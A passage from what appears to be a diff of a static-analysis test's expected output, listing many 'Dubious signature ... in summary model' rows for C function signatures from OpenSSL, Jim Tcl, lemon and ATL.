"(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *,int *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,void *)" in summary model. | +| Dubious signature "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned char *,int *)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_ENCODE_CTX *,unsigned int)" in summary model. | +| Dubious signature "(EVP_KDF *)" in summary model. | +| Dubious signature "(EVP_KDF_CTX *)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,int)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,void *)" in summary model. | +| Dubious signature "(EVP_KEYMGMT *,void *,char *,size_t)" in summary model. | +| Dubious signature "(EVP_MAC *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_MD *,int)" in summary model. | +| Dubious signature "(EVP_MD *,unsigned long)" in summary model. | +| Dubious signature "(EVP_MD_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_MD_CTX *,BIO *,X509_ALGOR *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_MD *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const EVP_MD_CTX *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,int)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,DH *,dh_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,DSA *,dsa_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EC_KEY *,ec_key_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,ENGINE *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,RSA *,rsa_st *)" in summary model. | +| Dubious signature "(EVP_PKEY *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(EVP_PKEY *,char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY *,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY *,stack_st_X509 *)" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,ASN1_OBJECT **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,BIGNUM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,EVP_PKEY_gen_cb *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,X509_ALGOR **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const EVP_MD **)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const char *,int,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,const void *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,uint64_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,int,int,int,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,size_t *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,uint64_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_PKEY_CTX *,void *)" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)" in summary model. | +| Dubious signature "(EVP_RAND *,EVP_RAND_CTX *)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)" in summary model. | +| Dubious signature "(EXTENDED_KEY_USAGE *)" in summary model. | +| Dubious signature "(EXTENDED_KEY_USAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(FFC_PARAMS *,BIGNUM *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const DH_NAMED_GROUP *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const FFC_PARAMS *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(FFC_PARAMS *,const char *,const char *)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(FFC_PARAMS *,const unsigned char *,size_t,int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,unsigned int)" in summary model. | +| Dubious signature "(FFC_PARAMS *,unsigned int,int)" in summary model. | +| Dubious signature "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,DH **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,DSA **)" in summary model. | +| Dubious signature "(FILE *,DSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EC_GROUP **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EC_KEY **)" in summary model. | +| Dubious signature "(FILE *,EC_KEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS7 **)" in summary model. | +| Dubious signature "(FILE *,PKCS7 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS8_PRIV_KEY_INFO **)" in summary model. | +| Dubious signature "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,PKCS12 **)" in summary model. | +| Dubious signature "(FILE *,RSA **)" in summary model. | +| Dubious signature "(FILE *,RSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,SSL_SESSION **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,TS_MSG_IMPRINT **)" in summary model. | +| Dubious signature "(FILE *,TS_REQ **)" in summary model. | +| Dubious signature "(FILE *,TS_RESP **)" in summary model. | +| Dubious signature "(FILE *,TS_TST_INFO **)" in summary model. | +| Dubious signature "(FILE *,X509 **)" in summary model. | +| Dubious signature "(FILE *,X509 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_ACERT **)" in summary model. | +| Dubious signature "(FILE *,X509_ACERT **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_CRL **)" in summary model. | +| Dubious signature "(FILE *,X509_CRL **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_PUBKEY **)" in summary model. | +| Dubious signature "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_REQ **)" in summary model. | +| Dubious signature "(FILE *,X509_REQ **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_SIG **)" in summary model. | +| Dubious signature "(FILE *,X509_SIG **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,char **,char **,unsigned char **,long *)" in summary model. | +| Dubious signature "(FILE *,const ASN1_STRING *,unsigned long)" in summary model. | +| Dubious signature "(FILE *,const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(FILE *,const DH *)" in summary model. | +| Dubious signature "(FILE *,const DSA *)" in summary model. | +| Dubious signature "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const DSA *,int)" in summary model. | +| Dubious signature "(FILE *,const EC_GROUP *)" in summary model. | +| Dubious signature "(FILE *,const EC_KEY *)" in summary model. | +| Dubious signature "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(FILE *,const PKCS7 *)" in summary model. | +| Dubious signature "(FILE *,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(FILE *,const PKCS12 *)" in summary model. | +| Dubious signature "(FILE *,const RSA *)" in summary model. | +| Dubious signature "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const RSA *,int)" in summary model. | +| Dubious signature "(FILE *,const SSL_SESSION *)" in summary model. | +| Dubious signature "(FILE *,const X509 *)" in summary model. | +| Dubious signature "(FILE *,const X509_ACERT *)" in summary model. | +| Dubious signature "(FILE *,const X509_CRL *)" in summary model. | +| Dubious signature "(FILE *,const X509_NAME *,int,unsigned long)" in summary model. | +| Dubious signature "(FILE *,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(FILE *,const X509_REQ *)" in summary model. | +| Dubious signature "(FILE *,const X509_SIG *)" in summary model. | +| Dubious signature "(FILE *,int *)" in summary model. | +| Dubious signature "(FILE *,int,char *)" in summary model. | +| Dubious signature "(FILE *,lemon *,char *,int *)" in summary model. | +| Dubious signature "(FILE *,lemon *,int *,int)" in summary model. | +| Dubious signature "(FILE *,rule *)" in summary model. | +| Dubious signature "(FILE *,rule *,int)" in summary model. | +| Dubious signature "(FILE *,rule *,lemon *,int *)" in summary model. | +| Dubious signature "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,symbol *,lemon *,int *)" in summary model. | +| Dubious signature "(FUNCTION *,DISPLAY_COLUMNS *)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,void *,block128_f)" in summary model. | +| Dubious signature "(GENERAL_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME **,const X509_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(GENERAL_NAME *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)" in summary model. | +| Dubious signature "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)" in summary model. | +| Dubious signature "(GENERAL_NAME *,int,void *)" in summary model. | +| Dubious signature "(GENERAL_NAMES *)" in summary model. | +| Dubious signature "(GENERAL_NAMES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(GENERAL_SUBTREE *)" in summary model. | +| Dubious signature "(GOST_KX_MESSAGE *)" in summary model. | +| Dubious signature "(GOST_KX_MESSAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(HMAC_CTX *,HMAC_CTX *)" in summary model. | +| Dubious signature "(HMAC_CTX *,const void *,int,const EVP_MD *)" in summary model. | +| Dubious signature "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)" in summary model. | +| Dubious signature "(HMAC_CTX *,unsigned long)" in summary model. | +| Dubious signature "(HT *)" in summary model. | +| Dubious signature "(HT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(HT *,HT_KEY *,HT_VALUE *,HT_VALUE **)" in summary model. | +| Dubious signature "(HT *,size_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(IPAddressChoice *)" in summary model. | +| Dubious signature "(IPAddressChoice **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressFamily *)" in summary model. | +| Dubious signature "(IPAddressFamily **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressOrRange *)" in summary model. | +| Dubious signature "(IPAddressOrRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)" in summary model. | +| Dubious signature "(IPAddressRange *)" in summary model. | +| Dubious signature "(IPAddressRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ISSUER_SIGN_TOOL *)" in summary model. | +| Dubious signature "(ISSUER_SIGN_TOOL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ISSUING_DIST_POINT *)" in summary model. | +| Dubious signature "(ISSUING_DIST_POINT **,const unsigned char **,long)" in summary model. | | Dubious signature "(InputIterator,InputIterator,const Allocator &)" in summary model. | +| Dubious signature "(Jim_HashTable *)" in summary model. | +| Dubious signature "(Jim_HashTable *,const Jim_HashTableType *,void *)" in summary model. | +| Dubious signature "(Jim_HashTable *,const void *)" in summary model. | +| Dubious signature "(Jim_HashTableIterator *)" in summary model. | +| Dubious signature "(Jim_Interp *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,char *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const jim_stat_t *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,double *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,long *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *const *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,...)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,int,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,double)" in summary model. | +| Dubious signature "(Jim_Interp *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,int,Jim_Obj *const *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,long)" in summary model. | +| Dubious signature "(Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Obj *,int *)" in summary model. | +| Dubious signature "(Jim_Stack *)" in summary model. | +| Dubious signature "(Jim_Stack *,void *)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char,size_t,size_t)" in summary model. | | Dubious signature "(LPCSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(LPCTSTR,DWORD *,void *,ULONG *)" in summary model. | | Dubious signature "(LPCWSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(LPTSTR,LPCTSTR,DWORD *)" in summary model. | +| Dubious signature "(MD4_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(MD4_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_SHA1_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_SHA1_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(MDC2_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_KEY *)" in summary model. | +| Dubious signature "(ML_DSA_KEY *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)" in summary model. | +| Dubious signature "(NAME_CONSTRAINTS *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_IA5STRING *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_STRING *)" in summary model. | +| Dubious signature "(NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_ENCRYPTED_PKEY *)" in summary model. | +| Dubious signature "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_PKEY *)" in summary model. | +| Dubious signature "(NETSCAPE_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKAC *)" in summary model. | +| Dubious signature "(NETSCAPE_SPKAC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI *)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(NISTZ256_PRE_COMP *)" in summary model. | +| Dubious signature "(NOTICEREF *)" in summary model. | +| Dubious signature "(NOTICEREF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_CERTID *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_REQUEST *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int)" in summary model. | +| Dubious signature 